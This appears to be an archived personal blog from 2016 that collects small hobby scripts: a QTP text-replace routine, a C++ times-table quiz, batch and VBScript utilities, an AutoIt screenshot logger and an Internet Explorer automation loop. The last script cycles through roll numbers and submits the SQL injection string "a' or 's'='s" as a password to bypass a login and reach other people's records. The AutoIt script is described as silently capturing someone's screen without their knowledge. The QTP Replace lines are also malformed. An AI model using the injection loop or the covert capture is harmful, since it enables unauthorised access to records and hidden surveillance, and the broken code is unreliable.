Friday, 11 March 2016

QTP to replace a text in a file



inside = "<SubPath>"
showfolderlist "<MainFolderPath>"


Sub ShowFolderList(folderspec)
     Dim fs, f, f1, fc, s   
    Const ForReading = 1
   Const ForWriting = 2
    cnt=0
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set f = fs.GetFolder(folderspec)
    Set fc = f.SubFolders
    For Each f1 in fc
        If instr(1,f1.name,"_") and instr(1,f1.name,"OBI")=0 and instr(1,f1.name,"IGL")=0 and  instr(1,f1.name,"ILP")=0 and  instr(1,f1.name,"WMP")=0 and  instr(1,f1.name,"APAC")=0 and  instr(1,f1.name,"NETM")=0 and  instr(1,f1.name,"ITBI")=0 Then
        print f1.name
       
        Set objFile = fs.OpenTextFile(f1 & inside, ForReading)
        strText = objFile.ReadAll
        objFile.Close       
       
        strNewText = Replace(strText, "<text1>""",1-1vbTextCompare)
        strNewText = Replace(strNewText, "<text2>","",1-1vbTextCompare)
        strNewText = Replace(strNewText, "<text3>","",1-1vbTextCompare)

        Set objFile = fs.OpenTextFile(f1 & inside, ForWriting)

        objFile.WriteLine strNewText

        objFile.Close   
       
       
        cnt=cnt+1       
        End If 

    Next
    print cnt
    set fs=nothing
End Sub

Tuesday, 8 March 2016

C++ code to learn tables

Once I was just anyhow wanted to learn tables till 25 to quicken up my calculations, so I wrote this piece of code in C++. I already knew till 10, so I skipped.

#include<stdio.h>
#include<conio.h>
#include<iostream>

using namespace std;

int main()
{
    int i,j,ans;
    cout<<"Welcome to TABLE learning....!!!!\n\n";
    while(1)
    {
           i=rand()%15+10;
           j=rand()%9+2;
           cout<<i<<" x "<<j<<" = ";
           cin>>ans;
           if(ans==i*j)
           cout<<"good..\n\n";
           else
           cout<<"ans is ... "<<i*j<<"  try again...!!!\n\n";
    }

    getch();
    return 0;
}

Screen Capture and save into a folder

This is a scripting in AutoIt which is a free tool. At first when I knew about it I was on clouds, trying out every possible thing that I thought. This is one of them. It help you keep an eye on your system for instance if you have handed it over to someone for sometime. Just type in the time period till you want to capture images and it saves the screenshot to the provided location, without letting the person know if something is happening right in front of this eyes. :)


#include <ScreenCapture.au3>

Global $stime = InputBox("Auto snap time :", "Enter time in minutes : ", "", "")
Example()

Func Example()
    Local $hBmp, $i,$fname
    $i=0
    $fname=@MyDocumentsDir&"\ShowMe\"&@HOUR&@MIN&@SEC
    DirCreate($fname)
   for $i = 1 to $stime*60


    ; Capture full screen
    $hBmp = _ScreenCapture_Capture("")
   Sleep(1000)


    ; Save bitmap to file
    _ScreenCapture_SaveImage($fname&"\Image" & $i & ".png", $hBmp)

    Next
EndFunc 

BATCH file to kill all Processes

This batch kills all processes running in your system. A very useful tool when your system hangs on particular application or when you just quickly want to get rid of everything running:-

@echo off
title Kill all running apps :-
cd c:\windows\System32
for /f "skip=3 tokens=1" %%i in ('TASKLIST /FI "USERNAME eq %userdomain%\%username%" /FI "STATUS eq running"') do (
if not "%%i"=="svchost.exe" (
if not "%%i"=="explorer.exe" (
if not "%%i"=="cmd.exe" (
if not "%%i"=="tasklist.exe" (
echo.
taskkill /f /im "%%i"
echo.
)
)
)
)
)
pause

Multiple reference of a word

Idea came from one of my friend who is preparing for GRE, to create a utility which retrieves following when looked for a specific word.
  1. Searches in Google 
  2. Searches its images
  3. Finds out its meaning in hindi
  4. Provides some examples relating to the word

Dim oShell
Dim Input
Input = InputBox("Enter Your Word : ","Automated Search")
Set oShell = WScript.CreateObject ("WScript.Shell")


oShell.run "https://www.google.co.in/webhp?hl=en#hl=en&q="& Input &"+meaning"
WScript.Sleep(3000)


oShell.run "https://www.google.co.in/search?site=&tbm=isch&source=hp&q="& Input & "&oq="&Input

WScript.Sleep(1000)

oShell.run "http://shabdkosh.com/hi/translate?e="&Input&"&l=hi"
WScript.Sleep(1000)


oShell.run "http://sentence.yourdictionary.com/"&Input
WScript.Sleep(1000)


Set oShell = Nothing

Keep system awake forever

 On every two seconds, this does the job of pressing WIN key

Do
Set v= CreateObject("WScript.Shell")
v.SendKeys "^{ESC}"
Set v= nothing
WScript.sleep 2000

Loop

First script to fetch a specific page from a wide range

This does the work of repeatedly pinging a page based on specific detail and then save one with the desired results. It was the kick start into automation :- :)

Dim wShell

Dim IE
Dim i

Set IE=CreateObject("InternetExplorer.application")
For i=11005 to 11350
set wShell= WScript.CreateObject("WScript.Shell")

IE.Visible = True
IE.Navigate "http://testsite/"       
Do While IE.ReadyState <> 4:WScript.sleep(200): Loop
IE.document.all.item("textfield").value =i   
IE.document.all.item("textfield2").value ="a' or 's'='s"   
IE.document.all.item("submit").Click
Do While IE.ReadyState <> 4:WScript.sleep(200): Loop
IE.Navigate "http://testsite?rollno=" & i

Do While IE.ReadyState <> 4:WScript.sleep(200): Loop
If instr(ie.document.body.innerText,testdata) then
Wscript.echo "I have found "
exit for
exit for
else
ie.visible=false
end if
Next

'wShell.SendKeys "{ENTER}"
'IE.Visible=False
wShell.AppActivate "IE"